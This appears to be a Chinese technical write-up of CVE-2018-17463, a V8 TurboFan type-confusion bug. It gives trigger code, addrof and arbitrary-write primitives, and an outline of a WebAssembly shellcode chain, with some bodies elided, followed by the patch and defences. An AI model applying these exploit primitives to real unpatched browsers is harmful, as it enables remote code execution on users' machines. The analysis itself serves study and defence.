Google V8引擎的CVE-2018-17463漏洞分析
字数 1113 2025-08-27 12:33:23

Google V8引擎CVE-2018-17463漏洞分析与利用

漏洞概述

CVE-2018-17463是Google V8 JavaScript引擎中的一个类型混淆漏洞,源于对JSCreateObject操作的side-effect判断错误。该漏洞允许攻击者通过精心构造的JavaScript代码实现任意代码执行。

环境搭建

漏洞存在于commit 52a9e67a477bdb67ca893c25c145ef5191976220之前版本,建议使用以下脚本编译修复前的V8版本:

#!/bin/bash

set -Eeuxo pipefail

fetch v8
pushd v8
git checkout 568979f4d891bafec875fab20f608ff9392f4f29
gclient sync
./tools/dev/gm.py x64.release
popd

漏洞原理分析

根本原因

漏洞位于src/compiler/js-operator.cc:625,错误地将JSCreateObject操作标记为kNoWrite(无副作用),而实际上该操作会修改对象属性:

#define CACHED_OP_LIST(V) \
  V(CreateObject, Operator::kNoWrite, 1, 1) \

技术背景

  1. TurboFan优化器:V8的优化编译器,使用基于图的中间表示(IR)
  2. Sea-of-Nodes:TurboFan的IR设计思想,通过控制依赖、数据依赖和操作依赖构建IR
  3. Effect Chain:记录操作副作用的依赖链

漏洞触发流程

  1. JSCreateObject被错误标记为无副作用(kNoWrite)
  2. 优化过程中消除冗余的类型检查节点
  3. 导致类型混淆,最终可实现任意代码执行

漏洞利用技术

漏洞触发验证

通过以下代码可以验证漏洞存在:

function check_vul(){
    function bad_create(x){
        x.a;
        Object.create(x);
        return x.b;
    }

    for (let i = 0;i < 10000; i++){
        let x = {a : 0x1234};
        x.b = 0x5678; 
        let res = bad_create(x);
        if(res != 0x5678){
            console.log("CVE-2018-17463 exists in the d8");
            return;
        }
    }
    throw "bad d8 version";
}
check_vul();

类型混淆实现

  1. 查找碰撞属性对:通过构造特定对象找到在Dictionary模式下会碰撞的属性对(X,Y)
function findCollision(){
    let find_obj = [];
    for (let i = 0;i<OBJ_LEN;i++){
        find_obj[i] = 'b'+i;
    }
    eval(`
        function bad_create(x){
            x.a;
            this.Object.create(x);
            ${find_obj.map((b) => `let ${b} = x.${b};`).join('\n')}
            return [${find_obj.join(', ')}];
        }
    `);
    // ... 测试代码 ...
}
  1. addrof原语:泄露任意JavaScript对象的地址
function addrof(obj){
    eval(`
        function bad_create(o){
            o.a;
            this.Object.create(o);
            return o.${X}.x1;
        }
    `);
    // ... 实现代码 ...
}
  1. 任意地址读写:通过修改ArrayBuffer的backing_store实现
function arbitraryWrite(obj,addr){
    eval(`
        function bad_create(o,value){
            o.a;
            this.Object.create(o);
            let ret = o.${X}.x0.x2;
            o.${X}.x0.x2 = value;
            return ret;
        }
    `);
    // ... 实现代码 ...
}

完整利用链

  1. 构造WebAssembly实例获取rwx内存区域
  2. 使用addrof原语泄露函数地址
  3. 通过任意地址读写修改代码内存
  4. 写入shellcode并执行
// 1. 构造wasm实例
var buffer = new Uint8Array([...]);
var wasmImports = { env: { puts: function(){} } };
let m = new WebAssembly.Instance(new WebAssembly.Module(buffer),wasmImports);
let f = m.exports.p4nda;

// 2. 泄露函数地址
let addr = addrof(f);

// 3. 遍历对象结构找到rwx内存
// JSFunction -> SharedFunctionInfo -> WasmExportedFunctionData -> WasmInstanceObject -> imported_function_targets -> rwx_area

// 4. 写入shellcode并执行
let shellcode = [72, 49, 201, 72, 129, 233, 247, 255, 255, 255, ...];
let write_tmp = new Uint8Array(mem);
write_tmp.set(shellcode);
f();

漏洞补丁

修复commit 52a9e67a477bdb67ca893c25c145ef5191976220将CreateObject的标志改为kNoProperties

-  V(CreateObject, Operator::kNoWrite, 1, 1)
+  V(CreateObject, Operator::kNoProperties, 1, 1)

关键知识点

  1. V8对象内存布局:FastProperties与DictionaryProperties模式的区别
  2. TurboFan优化过程:如何消除冗余的类型检查
  3. WebAssembly利用:如何通过wasm获取可执行内存区域
  4. 地址泄露技巧:通过类型混淆实现对象地址泄露
  5. 任意内存读写:利用ArrayBuffer的backing_store机制

防御措施

  1. 及时更新V8引擎版本
  2. 启用V8的指针压缩和写保护功能
  3. 限制WebAssembly的使用权限
  4. 实施适当的沙箱隔离措施
Google V8引擎CVE-2018-17463漏洞分析与利用 漏洞概述 CVE-2018-17463是Google V8 JavaScript引擎中的一个类型混淆漏洞,源于对JSCreateObject操作的side-effect判断错误。该漏洞允许攻击者通过精心构造的JavaScript代码实现任意代码执行。 环境搭建 漏洞存在于commit 52a9e67a477bdb67ca893c25c145ef5191976220之前版本,建议使用以下脚本编译修复前的V8版本: 漏洞原理分析 根本原因 漏洞位于 src/compiler/js-operator.cc:625 ,错误地将 JSCreateObject 操作标记为 kNoWrite (无副作用),而实际上该操作会修改对象属性: 技术背景 TurboFan优化器 :V8的优化编译器,使用基于图的中间表示(IR) Sea-of-Nodes :TurboFan的IR设计思想,通过控制依赖、数据依赖和操作依赖构建IR Effect Chain :记录操作副作用的依赖链 漏洞触发流程 JSCreateObject 被错误标记为无副作用( kNoWrite ) 优化过程中消除冗余的类型检查节点 导致类型混淆,最终可实现任意代码执行 漏洞利用技术 漏洞触发验证 通过以下代码可以验证漏洞存在: 类型混淆实现 查找碰撞属性对 :通过构造特定对象找到在Dictionary模式下会碰撞的属性对(X,Y) addrof原语 :泄露任意JavaScript对象的地址 任意地址读写 :通过修改ArrayBuffer的backing_ store实现 完整利用链 构造WebAssembly实例获取rwx内存区域 使用addrof原语泄露函数地址 通过任意地址读写修改代码内存 写入shellcode并执行 漏洞补丁 修复commit 52a9e67a477bdb67ca893c25c145ef5191976220将 CreateObject 的标志改为 kNoProperties : 关键知识点 V8对象内存布局 :FastProperties与DictionaryProperties模式的区别 TurboFan优化过程 :如何消除冗余的类型检查 WebAssembly利用 :如何通过wasm获取可执行内存区域 地址泄露技巧 :通过类型混淆实现对象地址泄露 任意内存读写 :利用ArrayBuffer的backing_ store机制 防御措施 及时更新V8引擎版本 启用V8的指针压缩和写保护功能 限制WebAssembly的使用权限 实施适当的沙箱隔离措施